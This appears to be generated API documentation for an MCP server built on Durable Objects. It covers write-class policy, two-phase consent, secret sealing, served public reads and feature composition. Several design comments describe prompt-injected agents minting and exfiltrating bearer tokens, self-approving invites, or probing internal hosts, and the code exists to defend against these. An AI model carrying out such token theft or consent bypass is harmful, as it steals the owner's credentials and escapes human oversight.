prime()method
isFederationHostAllowed()method

True if host has been explicitly approved for federation (active _federation_hosts row).

hasKernelVersion()method

True if the table's version column is the kernel auto-increment, not a user field.

checkAndArmConsent()method

Two-phase consent that survives session churn. First call with a key arms it (10-minute TTL) and returns false — the caller should surface the confirmation message. Re-issuing the same key while armed consumes it and returns true — the caller proceeds. Durable in DO storage because sessionless MCP clients land every call on a fresh SessionDO, where an in-memory set can never complete the handshake. The consent signal is the deliberate re-issue of identical arguments; the TTL bounds how long an armed confirmation can wait. Fails closed: storage errors never confirm.

resolveTokenConstraints()method

Validate a token's scope AND return its parsed constraints in one hashed lookup. The token column is a digest at rest, so a raw WHERE token = ? query (as marketplace did) matches nothing — callers needing constraints must go through this.

fetch()method
kernel-columns.tsentities/Hive/kernel-columns.ts

Kernel columns — single canonical home for the auto-provided column set.

Every pattern table carries these columns regardless of its declared facets (CLAUDE.md "Key conventions"). They cannot be defined via propose_change; created_by/updated_by are stamped from the session actor, never caller input.

This is a dependency-free leaf (no imports) so it can be referenced from the schema/DDL layer, the data engine, the evolution engine, and the DO kernel without introducing an import cycle. Every call site that needs "the kernel columns" — or a named slice of them — references this module instead of re-listing the literals. Subsets are DERIVED from the master list (filter), never re-listed, so the slices can't drift from the source of truth.

The ordering is canonical (matches the agent-facing schema display and the integrity check): id, version, then the timestamp + attribution columns.

KERNEL_COLUMNSconst

The full kernel column set, in canonical order. The source of truth.

KERNEL_COLUMN_SETconst

Membership set over the full kernel column list.

USER_OVERRIDABLE_KERNEL_COLUMNSconst

Kernel columns a user MAY redefine as a facet. version alone: create_pattern's apply detects a user version facet and SKIPS the kernel default column, so a pattern can carry user-meaningful version semantics (e.g. semver on packages) instead of the kernel auto-increment. Every OTHER kernel column is added unconditionally — a same-named facet would be a duplicate column (a CREATE/ALTER DDL error), so they MUST be reserved. This set is the SINGLE home for "which kernel columns are overridable"; the facet reservation below derives from it (and create_pattern's skip references it), so the two can't disagree about which column is special.

FACET_RESERVED_COLUMNSconst

Facet-name reservation (evolution.ts validateFacets — the chokepoint for BOTH create_pattern and add_facet): a proposed facet may not be named after a kernel column it would COLLIDE with — i.e. every kernel column EXCEPT the user-overridable ones. DERIVED from the two sets above, never hand-listed, so it can't under-cover. The historical bug was a hand-narrowed subset that omitted created_by/updated_by (which are NOT overridable → must be reserved) AND version (which IS). Splitting "overridable" out as its own declaration fixes both: reserved ∪ overridable = KERNEL_COLUMNS, and adding a kernel column auto-reserves it unless explicitly declared overridable. The facet-kernel-collision totality oracle iterates THIS set (each rejected) and the complement (each overridable allowed) — both halves checked, so the partition can't silently drift.

CALLER_EXCLUDED_ON_CREATEconst

Columns excluded from the caller-supplied field set on CREATE (data.ts): id is autoincrement, the timestamps + attribution are system-managed. version is not in this set because callers never supply it on create either (it's the kernel auto-increment), and excluding it here would be redundant — preserved as master-minus-version.

STRUCTURAL_KERNEL_COLUMNSconst

Columns skipped during facet validation / shown as the kernel column list in the agent-facing schema (data.ts SKIP_KEYS + hive.ts schema display): every auto-provided structural column except the attribution columns, which are not surfaced as schema and were already stripped upstream by executeMutate.

kernel.tsentities/Hive/kernel.ts

Kernel pattern pre-mutation rules

Declarative hooks that validate and transform data before the generic INSERT/UPDATE/ARCHIVE logic in store.ts runs. Each kernel table's special behavior is visible in one place.

why

Declarative pre-mutation hooks so each kernel table's special behavior lives in one visible place. IMMUTABLE / IMMUTABLE_AFTER_CREATE and the register-scope memberActive guard are defense-in-depth against specific attacks: an agent self-approving an invite (approved_at immutable), repointing a token's target after mint, or escalating an invite into owner-takeover. "Which patterns the system writes" and "which are valid ingress/upload targets" are intentionally NOT defined here — they derive from policy.ts so the boundary cannot drift between layers.

Hooks for a FEATURE's own kernel pattern live in that feature's <dir>/hooks.ts (a feature owns its pattern's hooks, the same way it owns the pattern's schema + security). The EXPORTED ON_CREATE / ON_WRITE / IMMUTABLE here are mergeDisjoint(CORE_, compose(FEATURES)) — CORE infra hooks plus each feature's own, composed at module load. ENFORCEMENT does NOT move: applyKernelRules (this file, the one chokepoint every mutate runs through) reads the composed maps, so a feature hook fires byte-for-byte as a core one. The feature hooks.ts files import ONLY TYPES from this file, so the compose back-edge is type-only (no runtime cycle), and mergeDisjoint throws if a feature shadows a CORE pattern's hook.

KernelContextinterface
memberActive()method

An active, non-archived member with this label exists in the roster.

entryField()method

Read one column of one entry — used to resolve a row's existing values when a partial update doesn't carry them (e.g. a _views config edit that omits the target pattern). Returns null if the row/column is absent.

ImmutableRuleinterface

The shape of an IMMUTABLE / IMMUTABLE_AFTER_CREATE registry row. Exported so a feature can declare its pattern's immutable fields (in its own hooks.ts) against the same shape kernel.ts composes back in.

IMMUTABLE_AFTER_CREATEconst

=== Immutable-after-create fields — set once at create, frozen thereafter ===

Distinct from IMMUTABLE (rejected on every op): these define a token's capability and are validated by the create hook, but must never be repointed by a later update/unarchive. Freezing scope/member/constraints/token closes the defense-in-depth gap where an update could repoint an existing token (e.g. to a different member) without re-passing the create-time validation.

_inputs()method
_links()method
_shared()method
WriteHooktype

=== Write hooks — validate on create AND update (not just create) ===

For kernel tables whose payload must stay valid through edits, not only at birth. _views is the case: an agent authors a view, then refines its config — both must validate against the view palette (the SSOT in view-palette.ts), so a malformed or facet-missing spec is refused at the mutate chokepoint rather than silently degrading in the renderer.

_views()method
Shortcutinterface
expandShortcutfunction

Expand a shortcut name to pattern + operation, or return null if not a shortcut.

normalizeHostfunction

Normalize a federation host: lowercase, strip scheme and any path.

isBlockedFederationHostfunction

True if a federation target points at a loopback, private, link-local, or internal-only host. Such hosts can never be added to the allow-list and are refused at resolve time - defense against SSRF and against an agent acting on prompt-injected content probing internal infrastructure or cloud metadata.

The host is normalized through the same URL parser fetch() uses, so the check operates on the exact host the network stack will contact (handles userinfo, ports, IPv4 in any base, IPv6 brackets, case). Anything unparseable as a host fails closed (blocked). A public hostname whose DNS resolves to a private IP cannot be caught here (no DNS API on Workers); that residual is covered by the federation consent allow-list and per-hop redirect re-validation.

scopeMatchesfunction

Check if tokenScope grants access for requiredScope. Hierarchical prefix match with : boundary.

immutableFieldErrorfunction

The immutability error for editing a single named facet on an existing entry, or null if the facet is freely editable. Covers both IMMUTABLE (rejected on any op) and IMMUTABLE_AFTER_CREATE (frozen after create). Used by the patch path, which edits one facet by name and so can't rely on applyKernelRules' top-level-key scan.

labels.tsentities/Hive/labels.ts

Single source of truth for "what does this entry look like as a string."

Used by both the backend (so /api/index can include a stable label) and the React frontend. If the algorithm ever needs to evolve, change it here once.

why

One deriveLabel so the backend (/api/index) and the React frontend render an entry's label identically. The label is computed everywhere it's needed, never persisted, per data-is-destiny (store truth once, derive its consequences) — one algorithm, one place to evolve it.

LabelFacetinterface
deriveLabelfunction

Derive a human-readable label for an entry. Returns the unbounded string; callers truncate to fit their UI.

Priority: 1. First non-empty value among LABEL_KEYS (name, title, label, key, context). 2. First text-type facet's value. 3. Falls back to "#{id}" if neither is available.

truncatefunction

Truncate a string to max chars, appending an ellipsis if truncated.

mutate-gate.tsentities/Hive/mutate-gate.ts

Mutate-gate decisions — the pure, transport-agnostic predicates that decide what gate a write must clear, factored out of the MCP mutate handler so the decision can't drift from the place it's enforced.

why

The agent-facing WRITE surface exists on two transports: the MCP mutate tool (entities/Session/session.ts) and the browser-authenticated /api/mutate (shared/Routing/routes/pages.ts). The gate decisions — "is this op consent- gated and which way," "may this op ride inside a batch," "is this loosely-typed data actually an object" — were inline imperative branches in session.ts. That is the real drift vector the memory warns about ("/api+RPC tests pass while MCP breaks via the Zod/consent layer"): a future edit to the batch rule or the consent condition touches only session.ts, with no tested home to anchor it.

These functions are PURE derivations of policy.ts (the write-class SSOT) — no I/O, no round-trip mechanics. The interactive consent round-trip itself (checkAndArmConsent + re-issue) stays in session.ts because only the MCP path can satisfy it; this module decides WHETHER it fires, not how. /api stays owner-implicit (a logged-in human IS the consent) and does not consult these decisions today — it receives parsed, single-op JSON and is intentionally ungated. The win is not that both transports call this, but that the gate decisions now have ONE tested home (a pure leaf over policy.ts) instead of inline branches: an edit to the batch rule or consent condition is anchored by a unit test, so an MCP-only regression can't slip past /api-based tests. If /api ever needs the same validation, it adopts these — without a second copy existing.

normalizeMutateDatafunction

Parse a possibly-JSON-stringified value; non-strings and unparseable strings pass through unchanged (the caller's shape check then rejects bad input).

isSingleOpDatafunction

True when data is a usable single-op payload (a plain object, not an array). The shape both transports require before handing data to the engine.

mutateGatefunction

Decide which gate a single mutate op must clear, purely from policy.ts. The MCP handler drives the round-trip mechanics off this; the engine independently enforces write-class, so this is the consent layer's single decision point.

BatchOpinterface
findGatedBatchOpfunction

The first op in a batch that may NOT ride inside it, or null if all are eligible. Consent-gated escalations and patches on gated patterns must go through a single mutate (a batch would skip the round-trip / kernel hooks); archive (de-escalation) is allowed. Pure derivation of policy.ts — the batch rule has one home, not an inline .find in the handler.

policy.tsentities/Hive/policy.ts

Write-class policy — the single source of truth for "which patterns can agents write, through which path, and what gate fires."

This question was previously answered hole-by-hole: a CONSENT_GATED dict in the session layer, an INTERNAL_WRITE_PROTECTED set in the data layer, and eleven independent startsWith("_") checks scattered across kernel/data/hive/ evolution/prime. Each was a separate map of the same territory, and a missed cell was a security hole (see the set_sharing, patch-bypass, ingress/upload, and register-token findings).

Here the territory is modeled once. Every pattern has a WriteClass; every gate (consent round-trip, batch exclusion, ingress/upload eligibility, schema- evolution restriction, prime inclusion) is a pure derivation of it. A kernel pattern with no declared class fails CLOSED (System — denied) so a newly added kernel pattern can never silently default to agent-writable through every path.

This module is a leaf: it imports nothing from the enforcement layers, so they can all derive from it without cycles. The ONE import it does carry — the feature-security barrel (entities/features/security.ts) — is itself pure DATA + TYPES (each feature's */security.ts imports only import type from here), so the leaf property holds: no enforcement-layer code, no runtime cycle. (It deliberately does NOT import a feature manifest.ts; those carry code.)

why

That question was previously answered hole-by-hole across three layers plus eleven scattered startsWith("_") checks, and every missed cell was a security hole (set_sharing ungated, the patch-bypass, ingress/upload targeting kernel patterns, register-token takeover). Unclassified kernel patterns fail CLOSED (System → denied) so a new kernel pattern can never silently default to agent-writable; the module is a dependency-free leaf so every enforcement layer derives from it without cycles; write-class is computed at read time, never persisted, to avoid denormalizing the constant.

ConsentPolicyinterface
KernelPolicyinterface
isKernelPatternfunction

The _ namespace is reserved for the kernel (create_pattern refuses it), so a leading underscore is the exact, single definition of "kernel pattern."

writeClassfunction

The write class of any pattern. Unclassified kernel patterns fail CLOSED (System) — a new _ table added without a policy row is denied, not opened.

isInternalWriteProtectedfunction

True for patterns the system manages itself — denied at the mutate engine.

isValidWriteTargetfunction

True only for User-class patterns: the sole valid ingress/upload write target. Every kernel pattern — gated, open, or system — is refused, because HTTP write paths bypass the MCP consent layer and must never reach the kernel surface.

consentPolicyfunction

Consent configuration for a pattern, or null if it carries none.

primeIncludedfunction

True if this kernel pattern is surfaced in prime recall (most are excluded).

isAuditExemptfunction

True if this pattern is exempt from audit triggers (append-only logs).

SensitivityKindtype

=== Egress sensitivity: the read/serialization dual of KERNEL_WRITE_POLICY ===

"Sensitive" is a property of DATA (a column), but it used to be enforced per EGRESS path (mutate response, /ws delta, audit trigger, query, export, served reads) — so a new egress kept reintroducing the leak. This is the one declarative home: which columns must never leave the DO in the clear. - secret: born-hashed. The preimage is generated in app code and returned ONCE at mint; only its digest is ever stored — so the audit trigger, the broadcast, and any read see a hash, not a usable bearer. Also stripped by seal from every serialized row (belt-and-suspenders). - redact: never serialized off the DO at all (stripped by seal); the data plane has no legitimate need for it. Broadcast, audit, export, and served reads all derive from this, so adding a new secret column protects every egress at once. Two oracles fail loud on a gap: verifyEgressTotality (the DECLARED-domain totality — every column a feature declares survives into the composed registry) and findUnclassifiedSensitiveColumns (the complementary name heuristic — a secret-NAMED column with no policy at all).

SENSITIVE_COLUMNSconst

The EFFECTIVE sensitivity registry: CORE columns + each feature's own. Every egress (seal/sealAll, the audit trigger, export) and the egress totality oracle (findUnclassifiedSensitiveColumns) read THIS composed map, so a feature's redacted/secret columns inherit every egress + the loud-fail oracle unchanged.

secretColumnfunction

The single secret (born-hashed) column for a pattern, or null.

sealfunction

Strip sensitive columns from a row about to leave the DO — the one sieve every egress routes through (broadcast, export, served read, mutate response). Shallow copy; null/undefined passes through.

sealAllfunction

seal a list of rows — the sanctioned form for any served path emitting many rows, so no caller hand-rolls .map(seal) and forgets the pattern arg.

verifyEgressTotalityfunction

EGRESS TOTALITY over the DECLARED domain — the read/serialization dual of verifyWritePolicyTotality. Where the write check walks the live KERNEL_TABLES, this walks the live FEATURE_SECURITY registry (via FEATURE_DECLARED_SENSITIVE): every sensitive column ANY feature declares MUST survive into the composed, effective SENSITIVE_COLUMNS. This catches the exact bug the old two-hand-list barrel allowed — a feature's sensitiveColumns silently dropped from the composition (so it inherited no seal/audit/export redaction) while its write policy still wired. A gap here means a declared redact/secret column would leak. Code-vs-code (FEATURE_SECURITY vs the composed SENSITIVE_COLUMNS) — no DB needed.

findUngatedCredentialMintsfunction

CREDENTIAL-MINT GATING TOTALITY — the consent dual of egress totality, derived from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration). A pattern with a secret column mints a born-hashed BEARER on every create — i.e. creating a row hands out a portable, exfiltratable credential. So its create MUST be gated: either System (never agent-writable) or Consent with a create-gating condition. The patch_only condition is PROVABLY WRONG for a credential-minter — it declares create benign while create is the dangerous op — and an Open class is worse (an injected agent mints freely). This is the exact bug that shipped _access_tokens as patch_only: an agent could mint + exfiltrate a broad/* bearer with no human round-trip. Fail-closed: a secret-minting pattern whose create isn't gated fails the build, so the misclassification is unexpressible.

patchRejectedfunction

True if patch must be rejected for this pattern (any consent-gated pattern — patch skips the kernel validation hooks and the confirmation round-trip).

consentRoundTripRequiredfunction

Whether an escalating create/update/unarchive needs the confirmation round-trip, given the data being written (for on_expose visibility checks). patch_only patterns never round-trip; patch is handled by patchRejected.

isBroadTokenScopefunction

A token scope is BROAD if minting it hands out a portable credential that grants a whole CLASS of resources (via the scopeMatches prefix rule) or full access — the kind an injected agent could mint and exfiltrate. Narrow target-bound and inert-until-approval scopes are benign (the frequent legit flows). Unknown shapes fail CLOSED (broad). Used by the on_broad_token consent condition.

prime.tsentities/Hive/prime.ts

Auto-associative priming layer

Partial cue → full constellation. Embeds entries on write via Workers AI, queries Vectorize for semantic nearest neighbors, follows links one hop.

Pure functions with env/db injected. HiveDO wires the lifecycle.

why

Which kernel patterns participate in recall is not a local hand-maintained set — primeIncluded derives from the policy.ts registry, because the former invisible KERNEL_INCLUDE set had no totality check and a renamed pattern would silently drop out of recall. Decay and the stale view derive from _entry_access_log (recall is rehearsal — a prime hit refreshes the decay clock), never from a stored counter, per data-is-destiny.

binds VECTORIZE, AI
PrimeContextinterface
PrimeResultinterface
MemoryPolicyinterface
getPatternClassfunction

A pattern's class: "knowledge" (default — recalled by meaning) or "dataset" (structured records aggregated by computation, exempt from the memory machinery).

getMemoryPolicyfunction

Read a pattern's memory policy from _objects, applying opinionated defaults.

decayMultiplierfunction

Recall-weight multiplier: halves per half-life elapsed, floored so old-but-relevant survives.

buildEmbedTextfunction

Build embeddable text from an entry's text/select facets.

embedEntryfunction

Embed an entry and upsert its vector. Fire-and-forget safe. A precomputed vector (e.g. from the write-time conflict check) skips the AI call.

NeighborMatchinterface
findNeighborsfunction

Find same-pattern semantic neighbors of not-yet-written entry data. Returns matches ≥ CONFLICT_SIMILARITY plus the computed vector (reusable for the post-write upsert, avoiding a second AI call). Best-effort: any failure returns empty with no vector.

removeEntryfunction

Remove a vector when an entry is archived.

primefunction

Prime: partial cue activates a full constellation.

parseDbDatefunction

SQLite datetime('now') emits "YYYY-MM-DD HH:MM:SS" in UTC with no zone marker — parse as UTC.

followLinksfunction

Follow foreign key links one hop from an entry.

reports.tsentities/Hive/reports.ts

reports.ts — read-orchestration reporting, evicted from HiveDO.

These are pure read+format builders for agent-facing JSON/markdown: recent activity, the maintenance-status nag, the stale-review surface, the system-doc readers, and the instance/storage doc. None of them write, none are a security boundary (they run in the owner/trusted DO context and only SELECT), and none are bound to the DO lifecycle/websocket — so they decompose cleanly out of the kernel shell.

ReportsContext is deliberately narrow. Raw db is acceptable here (every read is owner-context and read-only), but the bits that DO need DO state — the host (currentHost, which reads the live Host header / WORKER_HOST off the DO instance) and patternClass/errorJson (already-bound helpers) — are injected as functions so this module never reaches back into this. The DO keeps thin RPC wrappers with identical signatures; this holds the logic.

StoreIndexinterface
getCurrentIndexfunction

The structural index: schema + charter + facet metadata, entry counts zeroed. Pure structure — getIndex enriches it with live counts/activity. Also handed to the evolution previewer (which mutates a copy to show a proposed change).

getIndexfunction

The agent-facing master index: the structural index enriched with live entry counts + latest activity (computed per call, never stored — data is destiny), sorted by recency, plus agent-authored view/page specs.

getRecentActivityfunction

Most recently modified entries across all non-kernel patterns, summarized from each pattern's first text/select facet.

getSystemDocfunction
schema.tsentities/Hive/schema.ts

Database initialization

Table definitions, migrations, kernel pattern registration, and system doc seeding. Called once per HiveDO construction via blockConcurrencyWhile.

Kernel tables are defined declaratively: DDL + description + facets co-located. Internal tables (not exposed to agents) are plain DDL.

why

Kernel tables are declared once (DDL + description + facets co-located) so the surface is visible by scanning one array, and re-registered into _objects/_fields on every boot so an existing install's kernel docs track the code on deploy. Boot runs two loud integrity checks — verifyFieldsIntegrity (DDL vs _fields drift) and verifyWritePolicyTotality (every kernel table has a write-class) — that warn rather than throw, because a degraded boot is recoverable but a refusing one is not. Migrations are an append-only procedural pile by necessity: point-in-time history is not derivable.

KERNEL_TABLESconst

The EXPORTED kernel surface: CORE infra patterns + each feature's own pattern structure (DDL/facets/index), composed from the pure-data feature schema modules via the FEATURES barrel. composePatterns asserts no two features declare the same pattern name (a feature↔core name clash is caught by policy.ts's mergeDisjoint at module load). Everything downstream — the boot DDL loop, _fields seeding, verifyFieldsIntegrity, verifyWritePolicyTotality, and the security tests that iterate KERNEL_TABLES — reads THIS composed array, so a feature pattern is indistinguishable from a core one and the DDL↔_fields drift oracle stays green.

verifyWritePolicyTotalityfunction

=== Integrity check: write-class policy totality ===

Every agent-facing kernel pattern must declare a write class in policy.ts. writeClass() fails CLOSED (System — denied) for any unclassified _ pattern, so a newly added kernel table is safe by default — but silently un-writable is a bug, not a feature. This warns loudly at boot so a missing classification is caught the moment the table ships, not when a reviewer finds the next hole. Code-vs-code (KERNEL_TABLES vs KERNEL_WRITE_POLICY) — no DB needed; exported so the admission-matrix test asserts it statically too.

ensureAuditTriggersfunction

Audit exemption (high-frequency append-only logs whose change history is the data itself — auditing them would just churn the bounded _mutation_log) is a per-pattern behavior declared in the policy registry (policy.ts), alongside write class, so it's covered by the same boot-time totality check.

served.tsentities/Hive/served.ts

served.ts — the untrusted served reader. ALL served public reads live here.

This module is the single home for every public, unauthenticated, edge-cacheable read Mnemion exposes: agent-authored public pages (HTML + an OG chart card), shared entries (/o/entry), agent-defined outputs (/o), publications (/p), and the input-endpoint visibility probe (/i). Its ONLY user-pattern data access is servedQuery — the untrusted reader, which refuses kernel patterns at the engine (data.ts query()'s !ctx.trusted check). ServedContext deliberately exposes nothing else that could reach arbitrary kernel data: no db, no owner/trusted context, no way to construct one. The kernel-CONFIG rows these readers legitimately need (a _shared visibility, a _publications/_outputs/ _inputs config row, supersession ids, facet metadata) are reached only through NARROW bound lookups the DO provides — each returning ONLY that specific answer, never an arbitrary kernel row — exactly as federation.ts gets a bound isHostAllowed and never db. That is the point of the eviction: a served sink that physically cannot read a kernel pattern, and cannot reach db to try. Everything else is a PURE helper imported directly (chart SVG/spec, XSS escape, the page CSS, the publication renderer, seal/sealAll). The DO keeps thin RPC stubs that build the context and delegate; this holds the logic.

PublicationConfiginterface

A _publications config row plus the projection params the served read needs. Returned WHOLE only for the public publication path; it carries no secret column (publications are agent-authored projection config, never credential-bearing).

ServedContextinterface
getSharedEntryfunction

Serve a single entry marked public/unlisted in _shared. The user-pattern entry read goes through servedQuery — the kernel-refusing chokepoint — so there is NO hand-rolled isKernelPattern guard here: a kernel pattern reads back empty at the engine (data.ts query()'s !trusted check), exactly as a kernel-named page block does. servedQuery also refuses a non-existent pattern and BINDS the id (no SQL-identifier injection), so the old patternExists + Number.isInteger(id) checks survive only as a clean early not-found, never as the security gate. The sharing visibility is a kernel-config lookup the DO owns (sharingVisibility), so served.ts never touches _shared directly. seal strips any sensitive column before the entry leaves over this public route.

resolvePublicationfunction

Render a live publication projection. The source query runs through servedQuery (refuses a kernel source), rows are sealed, superseded entries drop out (via the DO's narrow supersededIds lookup), and the publication is rendered by the pubs adapter with DO-supplied facet metadata + host.

resolveOutputfunction

Serve agent-constructed content at an arbitrary path. The _outputs row IS the answer (content + mime + visibility), reached through the DO's narrow lookup — no user-pattern read involved.

getInputVisibilityfunction

Report an input endpoint's visibility (the route layer gates token access on it). Not-found when no active endpoint exists at path.

transform.tsentities/Hive/transform.ts

Transform DSL for ingress field mapping. Expressions: dot.path | transform arg | transform arg Resolvers: foo.bar, $header.X-Name, $query.param, $body, $now, "literal" Transforms: truncate N, lower, upper, default "value", json, join ", "

why

A tiny declarative DSL for ingress field mapping so an _inputs endpoint can shape arbitrary inbound payloads into pattern facets without code — the mapping is data on the endpoint, evaluated at request time. Resolvers and transforms are a closed, side-effect-free set so an agent-authored mapping can't reach beyond the request envelope.

evaluateExpressionfunction

Evaluate a single DSL expression against a context.

evaluateMappingfunction

Evaluate a field mapping (object of field→expression) against a context.

Sessionclaimed
The per-session McpAgent Durable Object that speaks the MCP protocol and proxies tool calls to the hive over RPC.
why

SessionDO is one Durable Object per MCP session: it handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. Tool metadata lives once in tools.ts as the SSOT feeding both MCP registration and the /api/tools frontend, so the agent-facing surface can't drift between the two. That "can't drift" is enforced, not asserted: the tools SSOT totality test statically reconciles every .tool(/.registerTool( call in session.ts against the TOOLS rows in both directions — a tool registered inline without a row (as render once was, making it a live MCP tool invisible to /api/tools) or a stale row with no registration fails the build. The session stamps the authenticated actor onto writes from its OAuth props so attribution is enforced at the protocol edge.

works when
session.ts exists at this node fast
session.ts imports agents/mcp fast
tools.ts exists at this node fast
session.ts imports ./tools fast
boundary "tool-registry SSOT totality" at TOOLS via test "tools SSOT totality" fast
session.tsentities/Session/session.ts

SessionDO — one McpAgent Durable Object per MCP session.

why

It handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. The consent round-trip lives here, not in the engine, because it needs an interactive re-issue only the MCP path can satisfy — but whether a write is gated derives from policy.ts (consentPolicy/consentRoundTripRequired/patchRejected) so the boundary can't drift from the engine's. The session stamps the authenticated actor from its OAuth props onto every write so attribution is enforced at the protocol edge.

imports agents/mcp, @modelcontextprotocol/sdk/server/mcp.js, zod
getHive()method
init()method
tools.tsentities/Session/tools.ts

Tool metadata — single source of truth for MCP registration and frontend display.

session.ts imports these for McpServer.tool() calls. /api/tools serves them to the web frontend.

why

Tool metadata lives once here as the SSOT feeding both McpServer.tool() registration and the /api/tools frontend, so the agent-facing surface can't drift between the protocol and the UI. New capability comes from patterns and entries, not new tools — the set stays deliberately small.

ToolMetainterface
TOOLSconst
Featuresclaimed
Per-feature manifests that FEED the scattered registries from one declaration; composers derive each registry from the `FEATURES` array.
why

A "feature" is the extensibility keystone, and today its footprint is smeared across registries a forker's agent must find and edit in lockstep: post-mutate effects (entities/Hive/effects.ts), HTTP routes (src/index.ts), MCP tools (entities/Session/tools.ts), kernel patterns + DDL (entities/Hive/schema.ts), write-policy class (entities/Hive/policy.ts), system docs, and the coherence spec. The Feature type collects all of those contributions into ONE co-located, typed declaration; the composers in compose.ts DERIVE each registry from the hand-maintained FEATURES barrel (index.ts). Adding a feature is then: create one dir + add one import line to the barrel — its whole footprint legible in the manifest instead of scattered.

effects was the first registry wired end-to-end; routes is the second: PATTERN_EFFECTS in effects.ts is composeEffects(FEATURES), and the route table in src/index.ts is [...CORE_ROUTES, ...composeRoutes(FEATURES)] rather than one hand-written literal. The documents feature owns its /f/ upload + serve edges and the pages feature owns its /page/ serve + OG edges, declared in their manifests (handlers still imported from the I/O adapter layer, shared/Routing/routes/io.ts — the manifest declares the routing rows, not the handler bodies). So a new side-effecting pattern, or a new HTTP edge for these features, is a feature manifest — not another entry in a central map.

Route ORDER is load-bearing and preserved: the router matches in declaration order (first match wins), and feature routes are appended AFTER CORE_ROUTES, so a feature route can never shadow a core route. The moved patterns (/f/..., /page/...) share no prefix with any retained core route (/o/, /p/, /marketplace*, etc.), so the move changes no match outcome — confirmed by the route/document/page tests staying green. Each route's backendPrefix travels with its declaration into BACKEND_PREFIXES, so a moved route's SPA-fallback exclusion is derived from the manifest, not re-hardcoded in src/index.ts.

Patterns + migrations are the third and fourth registries wired end-to-end: each feature owns its PATTERN STRUCTURE — the kernel-pattern DDL/facets/index and any feature-specific schema migration — as PURE DATA in its dir (<name>/schema.ts, type-only imports, no manifest code), and schema.ts builds KERNEL_TABLES = [...CORE_KERNEL_TABLES, ...composePatterns(FEATURES)] while its boot migration pile gains a tail loop over composeMigrations(FEATURES). The documents feature owns the _documents table + its v12 extraction-columns migration; the pages feature owns the _pages table + path index. The move is byte-identical: every consumer of KERNEL_TABLES (the boot DDL loop, _fields seeding, the audit triggers, and crucially verifyFieldsIntegrity — the DDL↔_fields drift oracle — plus verifyWritePolicyTotality) reads the COMPOSED array, so a feature pattern is indistinguishable from a core one and an existing hive sees no schema diff at boot. The feature schema.ts files stay PURE DATA so they share the leaf discipline of the */security.ts siblings (the structure half of "a feature owns its schema," beside the security half).

The kernel PRE-MUTATION HOOKS are the fifth registry, completing "a feature owns its kernel pattern": the _documents create validation (title required) + its system-managed immutable bookkeeping columns live in documents/hooks.ts, and the _pages write-time hook (URL-safe path + block-palette validation + the kernel-pattern exfil guard) lives in pages/hooks.ts. A feature declares these in its manifest's hooks slot; kernel.ts renames its hand-written literals to CORE_ON_CREATE/CORE_ON_WRITE/CORE_IMMUTABLE and derives the EXPORTED ON_CREATE/ON_WRITE/IMMUTABLE as mergeDisjoint(CORE_, compose(FEATURES)). ENFORCEMENT does NOT move — applyKernelRules (the one chokepoint every mutate runs through) reads the EXPORTED composed maps, so the validation fires byte-for-byte as before (confirmed by the document title/immutability + page block-exfil tests staying green); only the DECLARATION moves into the feature dir, exactly as effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint. The hook bodies are code, so <dir>/hooks.ts imports ONLY TYPES from kernel.ts (the hook signature types + ImmutableRule shape) — type imports are erased at runtime, so the kernel.ts → FEATURES → manifest → hooks back-edge is type-only and adds NO runtime cycle (dpdm -T, which strips type-only edges, shows the same single pre-existing runtime cycle before and after). mergeDisjoint mirrors policy.ts: a feature hook for a CORE pattern throws at module load, so a feature can never silently override a core invariant.

Composition for effects/tools/writePolicy/routes runs at MODULE LOAD (static tables); patterns/migrations/systemDocs compose at BOOT (they touch the DB). The composers fail LOUDLY on collision (two features over one pattern's effect, a duplicate migration version, a route/tool/pattern name clash) rather than silently last-write-wins — a malformed manifest can't quietly shadow another feature; a feature↔core pattern-name clash is caught by policy.ts's mergeDisjoint at module load. The fail-CLOSED write-policy default is preserved: a feature pattern declared without a write-policy entry still resolves to System/denied, never silently agent-writable. System docs stay a single source (http-io.md spans egress/publications/documents/ingress, so it isn't split per-feature); the remaining registries (tools, systemDocs) keep ONE source of truth each until they adopt their composer (documented landing spots in compose.ts), so this migration adds the seam without duplicating definitions.

works when
feature.ts exists at this node fast
compose.ts exists at this node fast
index.ts exists at this node fast
compose.ts imports ./feature fast
index.ts imports ./feature fast
index.ts imports ./documents/manifest fast
index.ts imports ./pages/manifest fast
index.ts imports ./system-tasks/manifest fast
documents/manifest.ts imports ../../../shared/Routing/routes/io fast
pages/manifest.ts imports ../../../shared/Routing/routes/io fast
documents/schema.ts exists at this node fast
pages/schema.ts exists at this node fast
documents/manifest.ts imports ./schema fast
pages/manifest.ts imports ./schema fast
documents/hooks.ts exists at this node fast
pages/hooks.ts exists at this node fast
documents/manifest.ts imports ./hooks fast
pages/manifest.ts imports ./hooks fast
passes test "pattern-effects totality" fast
passes test "returns 503 from POST /f and 404 from GET /f when R2 is absent" fast
passes test "requires a title" fast
passes test "refuses agent-supplied blob bookkeeping" fast
passes test "refuses a page block that sources a kernel pattern" fast
compose.tsentities/features/compose.ts

compose.ts — the COMPOSERS: derive each scattered registry from the FEATURES array. One composer per registry. Most are LIVE: effects, patterns, migrations, routes, and the kernel hooks (onCreate/onWrite/immutable) are WIRED into their host files (see the per-composer comments for the exact host + call site); write-policy/egress-sensitivity compose in the security.ts barrel, not here, because policy.ts is a dependency-free leaf. The tools and system-docs composers are still DESIGNED (signatures present, no host imports them yet — wired once tools.ts / schema.ts adopt the array).

Composition runs at MODULE LOAD for static registries (effects, tools metadata) and at BOOT for stateful ones (patterns/DDL/migrations/system-docs, which touch the DB). See "WHERE EACH RUNS" in the per-composer comments.

Invariants the composers enforce (fail LOUDLY, never silently last-write-wins): - effects: a pattern may have an effect from at MOST one feature (collision → throw). Two features fighting over _documents's post-mutate hook is a bug. - migrations: version numbers are globally unique + monotonic. - patterns / tools / routes: name/path uniqueness across features.

composeEffectsfunction

Fold every feature's effects into the flat PATTERN_EFFECTS map. WHERE IT RUNS: module load of effects.ts (PATTERN_EFFECTS = composeEffects(FEATURES)). Pure, synchronous, no DB — safe at import time.

composeMigrationsfunction

